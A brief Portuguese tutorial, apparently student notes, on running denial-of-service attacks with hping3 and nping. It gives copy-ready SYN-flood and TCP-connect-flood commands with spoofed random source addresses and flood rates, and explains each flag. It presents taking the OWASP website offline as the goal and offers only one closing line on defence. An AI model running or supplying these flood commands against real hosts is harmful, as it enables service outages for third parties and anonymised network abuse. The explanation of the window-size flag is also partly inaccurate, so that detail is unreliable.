sgonçalves

Denial of Service

1. Vamos testar com a ferramenta hping. Esta ferramenta pode ser usada para:
    a. Traceroute/ping hosts atrás de um firewall que bloqueia tentativas usando os utilitários padrão.
    b. Ataque de negação de serviço - DoS usando hping3 com IP falsificado no Kali Linux
    c. Execute a verificação inativa (agora implementada no nmap com uma interface de usuário fácil).
    d. Teste as regras de firewall.
    e. IDS de teste.
    f. Explorar vulnerabilidades conhecidas de pilhas TCP / IP.
    g. Pesquisa em rede.
    h. Escreva aplicativos reais relacionados ao teste e segurança de TCP / IP.
    i. Testes automatizados de firewall.
    j. Pesquisa em rede e segurança quando houver necessidade de emular um comportamento complexo de TCP / IP.
2. Para testar, basta uma linha de comando. Citada abaixo:

```
# hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source <url>
```

3. Vamos a explicação do comando:
    a. -c 10000: numero de pacotes a serem enviados
    b. -d 120: tamanho de cada pacote enviado
    c. -S: envio apenas de pacotes SYN
    d. -w 64: Tamanho da janela TCP - *A opção de escala de janela TCP é uma opção para aumentar o tamanho da janela de recebimento permitido no Protocolo de Controle de Transmissão acima do seu antigo valor máximo de 65.535 bytes. Esta opção TCP, juntamente com várias outras, é definida na IETF RFC 1323, que trata de redes longas e complexas.*
    e. -p 21: Porta de destino (A porta 21 é utilizada pelo FTP). Pode ser usada qualquer porta.
    f. --flood: para enviarmos os pacotes o mais rápido possível
    g. --rand-source: Usando ips aleatórios para envio dos pacotes
4. Desta forma derrubaremos o site da OWASP do ar.
5. Vamos testar outras formas de DoS com hping, a primeira, um simples SYN flood:

```
# hping3 -S -P -U --flood -V --rand-source <url>
```

6. TCP connect flood

```
nping --tcp-connect -rate=90000 -c 900000 -q
```

7. Para evitar este problema, é preciso uma aplicação que proteja o servidor, ou mesmo, manter o kernel atualizado. Pois, esta vulnerabilidade é fácilmente evitada.